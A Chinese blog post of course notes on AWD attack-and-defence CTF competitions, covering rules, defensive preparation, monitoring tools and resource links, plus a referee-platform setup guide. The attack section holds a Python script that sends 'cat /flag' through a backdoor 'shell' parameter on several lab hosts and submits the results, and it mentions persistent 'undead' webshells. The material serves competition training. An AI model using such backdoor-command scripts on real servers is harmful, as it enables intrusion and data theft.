第80天-红蓝对抗-AWD 模式&准备&攻防&监控&批量

思维导图

何为AWD

比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以
进行得分,修复漏洞可以避免被其他队伍攻击失分。

  • 一般分配Web服务器,服务器(多数为Linux) 某处存在flag (一般在根目录下)
  • 可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析;
  • flag在主办方的设定下每隔一定时间刷新-轮
  • 各队一般都有自己的初始分数
  • flag一旦被其他队伍拿走,该队扣除一定积分
  • 扣除的积分由获取fag的队伍均分
  • 协方会对每个队伍的服务进行check,服务宕机扣除本轮fag分数,扣除的分值由
  • 服务check正常的队伍均分
  • 一般每个队伍会给一个低权限用户,非root权限

具体规则以具体比赛规则为准,但一般大同小异。

AWD 常见比赛规则说明:

Attack With Defence,简而言之就是你既是一个 hacker,又是一个 manager。
比赛形式:一般就是一个 ssh 对应一个 web 服务,然后 flag 五分钟一轮,各队一般都有自己的初始
分数,flag 被拿会被拿走 flag 的队伍均分,主办方会对每个队伍的服务进行 check,check 不过就扣
分,扣除的分值由服务 check 正常的队伍均分。
其中一半比赛以 WEB 居多,可能会涉及内网安全,攻击和防御大部分为前期培训内容。

前期准备:

  1. 队伍分工明确
  2. 脚本工具环境完整
  3. 漏洞 POC/EXP 库完整
  4. 安全防御 WAF 及批量脚本完整

必备操作:

  1. 备份网站文件
  2. 修改数据库默认密码
  3. 修改网页登陆端一切弱密码
  4. 查看是否留有后门账户
  5. 关闭不必要端口,如远程登陆端口
  6. 使用命令匹配一句话特性
  7. 关注是否运行了“特殊”进程
  8. 权限高可以设置防火墙或者禁止他人修改本目录

演示案例:

防守—部署WAF—实现第一时间拦截部分攻击—升级后续版

最快第一时间操作,此类技术核心准备为各个环境的 WAF 部署(源码语言,比赛规则)

涉及资源:

  • https://github.com/zhl2008/awd-platform
  • https://github.com/yemoli/prepare-for-awd
  • https://github.com/leohearts/awd-watchbird
  • https://github.com/DasSecurity-HatLab/AoiAWD
  • AoiAWD-针对CTF AWD的原创轻量级防御系统 https://mp.weixin.qq.com/s/kwzJnoi2FwFhwbdxetd45A
  • AWD平台搭建 https://www.cnblogs.com/Triangle-security/p/11332223.html
  • AWD红蓝对抗资料工具 https://pan.baidu.com/s/1qR0Mb2ZdToQ7A1khqbiHuQ提取码:xiao
  • 线下AWD平台搭建以及一些相关问题解决 https://www.cnblogs.com/pureqh/p/10869327.html

防守—扫描后门—实现第一时间利用预留后门攻击—升级脚本版

最快第一时间操作,此类技术核心在于扫描源码中预留或隐藏后门

当网站服务器被入侵时,我们需要一款Webshell检测工具,来帮助我们发现webshell,进一步排查系统可能存在的安全漏洞。

防守—代码审计—实现第一时间找出源码中安全漏洞—升级漏洞库版

简要分析可能存在的安全问题,配合流量监控及代码审计后续操作(框架及非框架,源码语言,漏洞库等)进行漏洞判定

  • Seay源代码审计系统——(只支持PHP语言,单一,速度快,审计结果相对Fortify较少)
  • Fortify——(支持语言丰富,速度较慢,审计结果更多、更详细)

防守—文件监控—实现第一时间监控当前目录文件操作—升级流量监控

最快第一时间操作,在防守攻击时,实时监控当前目录文件上传删除等操作,有效防止恶意删除、上传后门等,后续可配合流量操作行为监控找出更多漏洞

img

攻击—批量 Flag—实现第一时间利用脚本批量 Flag 得分—升级模版不死马

攻击第一时间操作,写好批量获取 Flag 脚本后,预定 Flag 更新时间,实现自动获取及提交,升级后门写入及不死马等操作,实现权限维持实时获取得分。

  • 假设分析脚本,发现一个后门,针对这个后门,可以批量写脚本。

img

批量获取并提交flag

import requests


def get_flag():
    data={
        'shell':'cat /flag'
    }
    for i in range(8801,8804):
        url='http://192.168.76.156:' + str(i) + '/footer.php'
        result=requests.post(url,data=data).content.decode('utf-8')
        print(result)
        with open(r'flag.txt','a+') as f:
            f .write(result+'\n')
            f.close()

def tijiao_flag():
    for flag in open('flag.txt'):
        flag=flag.replace('\n','')
        url='http://192.168.76.156:8080/flag_file.php?token=team1&flag='+flag
        requests.get(url)

if __name__ == '__main__':
    get_flag()
    tijiao_flag()

涉及资源:

https://github.com/zhl2008/awd-platform
https://github.com/yemoli/prepare-for-awd
https://github.com/leohearts/awd-watchbird
https://github.com/DasSecurity-HatLab/AoiAWD
https://www.cnblogs.com/Triangle-security/p/11332223.html
AWD红蓝对抗资料工具 https://pan.baidu.com/s/1qR0Mb2ZdToQ7A1khqbiHuQ提取码:xiao

参考

  • https://www.cnblogs.com/zhengna/p/15775396.html
一个awd攻防比赛的裁判平台。 版本:beta v2.0 开发语言:python3 + django 平台分为两个部分 裁判机 靶机 通过特定接口,来实现靶机flag与服务器的通信 搭建流程 裁判机 安装所需环境 裁判机:python3+django 全局搜索woshiguanliyuan,并修改为随机字符串,此处为管理平台地址 /untitled/urls.py path('woshiguanliyuan/',views.admin,name='admin'), path('woshiguanliyuan/table/',views.admin_table,name='admin_table'), /app/views.py if 'woshiguanliyuan' not in request.META['HTTP_REFERER']: 第31和47换为你的目录 列:("/var/www/awd_platform/app/qwe.txt","a") 修改app/management/commands/init.py,添加用户 #['用户名','用户靶机token','用户靶机token'] user=[ ['123456','FF9C92C7SDFABB71566F73422C','FF9C92C7SDFABB71566F73422C'], ['aaabbb','311F8A54SV9K6B5FF4EAB20536','311F8A54SV9K6B5FF4EAB20536'] ] 修改/app/views.py第行d89f33b18ba2a74cd38499e587cb9dcd为靶机中设置的admin_token值的md5 if('d89f33b18ba2a74cd38499e587cb9dcd'==hl.hexdigest()): 运行 python3 manage.py init python3 manage.py manage.py runserver --insecure 靶机 安装所需环境 靶机:python+requests 修改send_flag.py参数,并将其放入靶机,设权限700。 靶机 sudo python send_flag.py。 靶机生成flag脚本,send_flag.py import requests import time import random import string import hashlib token='woshiwuxudong' # 红队 baji='311F8A54SV9K6B5FF4EAB20536' def getFlag(): #return ''.join(random.sample(string.ascii_letters + string.digits, 48)) m = hashlib.md5(''.join(random.sample(string.ascii_letters + string.digits, 48)).encode(encoding="utf-8")).hexdigest() return m while(1): f=open('/flag','w') flag=getFlag() f.write(flag) data={ 'flag':flag, 'token':token, 'baji':baji, } r=requests.post('http://127.0.0.1/caipanflag/',data=data) print(r.text) f.close() time.sleep(300) 重要须知 更新作者基础上: 1.增加flag验证一次性失效性,使得每个用户都并且仅可以提交一次flag 2.增加排名情况 3.flag改为MD5 4.增加丢失flag一轮扣100分
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值